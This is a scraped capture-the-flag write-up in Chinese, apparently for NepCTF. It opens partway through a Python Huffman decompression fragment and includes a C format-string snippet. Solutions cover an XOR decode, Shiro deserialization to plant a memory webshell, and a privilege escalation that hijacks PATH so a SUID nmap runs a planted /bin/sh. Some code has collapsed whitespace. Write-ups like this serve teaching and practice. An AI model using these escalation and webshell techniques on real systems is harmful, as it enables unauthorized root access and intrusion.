withopen(output_file, 'wb') as f: # Write frequency information f.write(bytes([len(frequencies)])) for byte, freq in frequencies.items(): f.write(bytes([byte, (freq >> 24) & 0xFF, (freq >> 16) & 0xFF, (freq >> 8) & 0xFF, freq & 0xFF]))
# Write compressed data for i inrange(0, len(compressed_data), 8): byte = compressed_data[i:i+8] f.write(bytes([int(byte, 2)])) defdecompress(input_file, output_file): withopen(input_file, 'rb') as f: # Read frequency information num_freqs = f.read(1)[0] frequencies = {} for _ inrange(num_freqs): byte = ord(f.read(1)) freq = (ord(f.read(1)) << 24) | (ord(f.read(1)) << 16) | (ord(f.read(1)) << 8) | ord(f.read(1)) frequencies[byte] = freq
# Build Huffman tree root = build_huffman_tree(frequencies)
# Read compressed data compressed_data = f.read() bit_stream = ''.join(format(byte, '08b') for byte in compressed_data)
# Decode compressed data using Huffman tree decoded_data = [] current_node = root for bit in bit_stream: if bit == '0': current_node = current_node.left else: current_node = current_node.right
if current_node.char isnotNone: decoded_data.append(current_node.char) current_node = root
# Write decompressed data to output file withopen(output_file, 'wb') as out_f: out_f.write(bytearray(decoded_data))
intmain(int argc, char *argv[], char * e[]) { int i; for (i = 0; e[i] != NULL; i++) printf(e[i]); return0; }
陌生的语言
发现奇怪的语言,结合题目
直接谷歌图片搜索一下
得到
1
NEPNEPABELIEVINGHEARTISYOURMAGIC
NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}
小叮弹钢琴
用Audacity打开音频
猜测是摩斯编码
后面还有一排0x字符串
根据摩斯解出来的提示,进行XOR
1 2 3 4 5 6 7 8
encode = '37 0a 05 30 3c 29 0e 04 50 05 03 1c 2b 18 58 47 3a 5f 05 21 17 03 2c 39 23 0f 00 5d 1e 17' key = 'y o u s h o u l d u s e t h i s t o x o r s o m e t h i n g' lis = encode.split(' ') key_lis = key.split(' ') flag = '' for i inrange(len(lis)): flag += chr(int(lis[i],16)^ord(key_lis[i])) print(flag)
ez_java_checkin
shiro框架的反序列化
爆破构造链,容器很容易就挂掉,手动试了一下就出来
写入内存马
蚁剑连接一下,发现没有权限访问flag
在start.sh找到flag
ConnectedFive
nc交互一下,玩着玩着分数够了就win
独步天下-转生成为镜花水月中的王者
nc 连接一下
根据提示的环境变量提权
1
find / -perm -u=s -type f
搜索SUID文件
发现了/bin目录下的nmap
执行一下
调用了系统指令ports-alive
1 2 3 4 5 6 7 8
cd /tmp echo"/bin/sh" > ports-alive chmod 777 ports-alive echo$PATH export PATH=/tmp:$PATH cd /bin ./nmap 127.0.0.1 cat /flag